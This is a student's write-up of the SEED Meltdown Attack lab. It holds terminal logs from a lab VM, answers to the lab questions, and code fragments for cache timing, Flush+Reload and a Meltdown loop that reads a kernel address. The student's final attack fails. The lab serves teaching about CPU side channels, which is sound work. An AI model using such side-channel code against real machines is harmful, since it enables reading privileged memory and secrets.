

Task 1: Reading from Cache versus from Memory

command:

```
[06/03/20]seed@VM:~/Meltdown_Attack$ gcc -march=native CacheTime.c -o CacheTime
[06/03/20]seed@VM:~/Meltdown_Attack$ ./CacheTime
```

```
Terminal
[06/03/20]seed@VM:~/Meltdown_Attack$ gcc -march=native CacheTime.c -o CacheTime
[06/03/20]seed@VM:~/Meltdown_Attack$ ./CacheTime
Access time for array[0*4096]: 113 CPU cycles
Access time for array[1*4096]: 128 CPU cycles
Access time for array[2*4096]: 130 CPU cycles
Access time for array[3*4096]: 43 CPU cycles
Access time for array[4*4096]: 146 CPU cycles
Access time for array[5*4096]: 146 CPU cycles
Access time for array[6*4096]: 164 CPU cycles
Access time for array[7*4096]: 45 CPU cycles
Access time for array[8*4096]: 154 CPU cycles
Access time for array[9*4096]: 130 CPU cycles
[06/03/20]seed@VM:~/Meltdown_Attack$
```

Is the access of array[3*4096] and array[7*4096] faster than that of the other elements?

Yes

find a threshold that can be used to distinguish these two types of memory access

```
Terminal
Access time for array[9*4096]: 136 CPU cycles
[06/03/20]seed@VM:~/Meltdown_Attack$ ./CacheTime
Access time for array[0*4096]: 116 CPU cycles
Access time for array[1*4096]: 138 CPU cycles
Access time for array[2*4096]: 134 CPU cycles
Access time for array[3*4096]: 37 CPU cycles
Access time for array[4*4096]: 128 CPU cycles
Access time for array[5*4096]: 119 CPU cycles
Access time for array[6*4096]: 121 CPU cycles
Access time for array[7*4096]: 36 CPU cycles
Access time for array[8*4096]: 136 CPU cycles
Access time for array[9*4096]: 150 CPU cycles
[06/03/20]seed@VM:~/Meltdown_Attack$ ./CacheTime
Access time for array[0*4096]: 60 CPU cycles
Access time for array[1*4096]: 156 CPU cycles
Access time for array[2*4096]: 137 CPU cycles
Access time for array[3*4096]: 22 CPU cycles
Access time for array[4*4096]: 119 CPU cycles
Access time for array[5*4096]: 122 CPU cycles
Access time for array[6*4096]: 120 CPU cycles
Access time for array[7*4096]: 34 CPU cycles
Access time for array[8*4096]: 139 CPU cycles
```

Task 2: Using Cache as a Side Channel

Since no other block in task 1 takes less than 60 cycles, I think 60 would be a good threshold.

```
[06/03/20]seed@VM:~/Meltdown_Attack$ gcc -march=native -o FlushReload
FlushReload.c
[06/03/20]seed@VM:~/Meltdown_Attack$ ./FlushReload
```

```
Access time for array[8*4096]: 120 CPU cycles
Access time for array[9*4096]: 142 CPU cycles
[06/03/20]seed@VM:~/Meltdown_Attack$ gcc -march=native -o FlushReload FlushReload.c
[06/03/20]seed@VM:~/Meltdown_Attack$ ./FlushReload
[06/03/20]seed@VM:~/Meltdown_Attack$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[06/03/20]seed@VM:~/Meltdown_Attack$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[06/03/20]seed@VM:~/Meltdown_Attack$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[06/03/20]seed@VM:~/Meltdown_Attack$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[06/03/20]seed@VM:~/Meltdown_Attack$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[06/03/20]seed@VM:~/Meltdown_Attack$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[06/03/20]seed@VM:~/Meltdown_Attack$ ./FlushReload
```

Run the program for at least 20 times, and count how many times you will get the secret correctly.

I've run the program for 20 times, and all have right secret but have 3 times without getting the secret.

I think it might be because that cached block would take more than 80 cycles, so I set the threshold as 100. After setting a looser bound, I have the right secret all the time.

Task 3: Place Secret Data in Kernel Space

```
$ make
$ sudo insmod MeltdownKernel.ko
$ dmesg | grep secret
```

```

Terminal
[06/03/20]seed@VM:~/Meltdown_Attack$ make
make -C /lib/modules/4.8.0-36-generic/build M=/home/seed/Meltdown_Attack modules
make[1]: Entering directory '/usr/src/linux-headers-4.8.0-36-generic'
  CC [M]  /home/seed/Meltdown_Attack/MeltdownKernel.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/seed/Meltdown_Attack/MeltdownKernel.mod.o
  LD [M]  /home/seed/Meltdown_Attack/MeltdownKernel.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.8.0-36-generic'
[06/03/20]seed@VM:~/Meltdown_Attack$ sudo insmod MeltdownKernel.ko
[sudo] password for seed:
[06/03/20]seed@VM:~/Meltdown_Attack$ dmesg | grep 'secret data address'
grep: data: No such file or directory
grep: address': No such file or directory
[06/03/20]seed@VM:~/Meltdown_Attack$

```

```

Terminal
17:40:15) release log
                00:00:00.000058 main      Log opened 2020-05-03T09:36:09.212752000
Z
[   8.647394] 00:00:00.000114 main      OS Product: Linux
[   8.647412] 00:00:00.000135 main      OS Release: 4.8.0-36-generic
[   8.647429] 00:00:00.000152 main      OS Version: #36~16.04.1-Ubuntu SMP Sun F
eb 5 09:39:41 UTC 2017
[   8.647453] 00:00:00.000169 main      Executable: /opt/VBoxGuestAdditions-5.1.
14/sbin/VBoxService
                00:00:00.000170 main      Process ID: 1400
                00:00:00.000171 main      Package type: LINUX_32BITS_GENERIC
[   8.648814] 00:00:00.001526 main      5.1.14 r112924 started. Verbose level =
0
[   8.657807] 00:00:00.010473 automount vbsvcAutoMountWorker: Shared folder 'SE
ED_share_folder' was mounted to '/media/sf_SEED_share_folder'
[  17.231657] sf_read_super_aux err=-71
[  17.231847] sf_read_super_aux err=-71
[  17.231988] sf_read_super_aux err=-71
[  63.625474] MeltdownKernel: module license 'unspecified' taints kernel.
[  63.625475] Disabling lock debugging due to kernel taint
[  63.625834] secret data address:f885b000
[06/03/20]seed@VM:~/Meltdown_Attack$

```

Because of something unknown the command `dmesg | grep 'secret data address'` doesn't work, but I can get the address using the command `dmesg`.

```

[06/04/20]seed@VM:~/Meltdown_Attack$ dmesg | grep secret
[   63.625834] secret data address:f885b000

```

but the command `dmesg | grep secret` works

Task 4: Access Kernel Memory from User Space

Use the address obtained from the previous task to write a test program.

```
#include<stdio.h>

int main(){
    printf("I have reached Line 0.\n");
    char *kernel_data_addr = (char*)0xf885b000;
    printf("I have reached Line 1.\n");
    char kernel_data = *kernel_data_addr;
    printf("I have reached Line 2.\n");
    return 0;
}
```

The terminal screenshot shows the execution of the program. It starts with a timestamp 'eb 5 09:39:41 UTC 2017'. The program prints 'I have reached Line 0.' and 'I have reached Line 1.' successfully. However, when it attempts to access the kernel buffer at address 0xf885b000, it triggers a 'Segmentation fault'. The terminal output includes various system messages and timestamps, such as '00:00:00.000169 main', 'Process ID: 1400', and 'Package type: LINUX_32BITS_GENERIC'. The final output is 'Segmentation fault' followed by a prompt '[06/04/20]seed@VM:~/Meltdown_Attack\$'.

Will the program succeed in Line 2? Can the program execute Line 2?

The program would not reach Line 2. Because a process in user space cannot access kernel buffer.

Task 5: Handle Error/Exceptions in C

Use the value that we got from task 3 to rewrite the address of `kernel_data_addr` in file `ExceptionHandling.c`.

```

Service
00:00:00.000170 main Process ID: 1400
00:00:00.000171 main Package type: LINUX_32BITS_GENERIC
[ 8.648814] 00:00:00.001526 main 5.1.14 r112924 started. Verbose level = 0
[ 8.657807] 00:00:00.010473 automount vbsvcAutoMountWorker: Shared folder 'SEED_share_fol
der' was mounted to '/media/sf_SEED_share_folder'
[ 17.231657] sf_read_super_aux err=-71
[ 17.231847] sf_read_super_aux err=-71
[ 17.231988] sf_read_super_aux err=-71
[ 63.625474] MeltdownKernel: module license 'unspecified' taints kernel.
[ 63.625475] Disabling lock debugging due to kernel taint
[ 63.625834] secret data address:f885b000
[06/03/20]seed@VM:~/Meltdown_Attack$ gedit task4.c
[06/04/20]seed@VM:~/Meltdown_Attack$ gcc -o task4 task4.c
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task4
I have reached Line 0.
I have reached Line 1.
Segmentation fault
[06/04/20]seed@VM:~/Meltdown_Attack$ gcc -o ExceptionHandling ExceptionHandling.c
[06/04/20]seed@VM:~/Meltdown_Attack$ ./ExceptionHandling
Memory access violation!
Program continues to execute.
[06/04/20]seed@VM:~/Meltdown_Attack$

```

Please run this code, and describe your observations.

Even though there is an exception in the program. The program could still continue to execute.

Task 6: Out-of-Order Execution by CPU

```

[06/04/20]seed@VM:~/Meltdown_Attack$ gcc -march=native -o MeltdownExperiment
MeltdownExperiment.c
[06/04/20]seed@VM:~/Meltdown_Attack$ ./MeltdownExperiment

```

```

Program continues to execute.
[06/04/20]seed@VM:~/Meltdown_Attack$ gcc -march=native -o MeltdownExperiment MeltdownExperim
ent.c
[06/04/20]seed@VM:~/Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.
[06/04/20]seed@VM:~/Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.

```

In particular, please provide an evidence to show that Line 2 is actually executed.

Even we are not allowed to access `array[7 * 4096 + DELTA]`, we know that the program tried to access it. Therefore we can know a secret 7.

Task 7: The Basic Meltdown Attack

Task 7.1: A Naive Approach

Simply replace the `array[7 * 4096 + DELTA] += 1;` with `array[kernel_data * 4096 + DELTA] += 1;`

```
[06/04/20]seed@VM:~/Meltdown_Attack$ gcc -march=native -o task71 task71.c
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task71
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task71
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task71
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task71
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task71
Memory access violation!
array[255*4096 + 1024] is in cache.
The Secret = 255.
```

Task 7.2: Improve the Attack by Getting the Secret Data Cached

Add the following code to get our secret data cached before the FLUSH-RELOAD attack:

```
// Open the /proc/secret_data virtual file.
int fd = open("/proc/secret_data", O_RDONLY);
if (fd < 0) {
    perror("open");
    return -1;
}
int ret = pread(fd, NULL, 0, 0); // Cause the secret data to be cached.
```

```
[06/04/20]seed@VM:~/Meltdown_Attack$ gcc -march=native -o task72 task72.c
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task72
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task72
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task72
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task72
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task72
Memory access violation!
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task72
Memory access violation!
```

I still failed the attack.

Task 7.3: Using Assembly Code to Trigger Meltdown

Use the value that we got from task 3 to rewrite the parameter of `meltdown_asm`.


```
[06/04/20]seed@VM:~/Meltdown_Attack$ gcc -march=native -o task73 task73.c
[06/04/20]seed@VM:~/Meltdown_Attack$ ./task73
```



```

{
    ret = pread(fd, NULL, 0, 0);
    if (ret < 0)
    {
        perror("pread");
        break;
    }
    // Flush the probing array
    for (j = 0; j < 256; j++)
        _mm_clflush(&array[j * 4096 + DELTA]);
    if (sigsetjmp(jbuf, 1) == 0)
    {
        meltdown_asm(0xf881c000 + k);
    }
    reloadSideChannelImproved();
}
// Find the index with the highest score.
int max = 0;
for (i = 0; i < 256; i++)
{
    if (scores[max] < scores[i])
        max = i;
}
printf("The secret value is %d %c\n", max, max);
printf("The number of hits is %d\n", scores[max]);
}

```



```

[06/04/20]seed@VM:~/Meltdown_Attack$ gcc -march=native -o Final.o Final.c
[06/04/20]seed@VM:~/Meltdown_Attack$ ./Final.o
The secret value is 0
The number of hits is 992
The secret value is 0
The number of hits is 978
The secret value is 0
The number of hits is 969
The secret value is 0
The number of hits is 981
The secret value is 0
The number of hits is 974
The secret value is 0
The number of hits is 974
The secret value is 0
The number of hits is 972
The secret value is 0
The number of hits is 978
[06/04/20]seed@VM:~/Meltdown_Attack$ 

```

Now that the right result cannot be got, I run the `CacheTime` again to check, but I find that the access of `array[0*4096]` is even faster than `array[3*4096]` and `array[7*4096]` sometimes, so in the task 7 & 8 the secret value is always 0.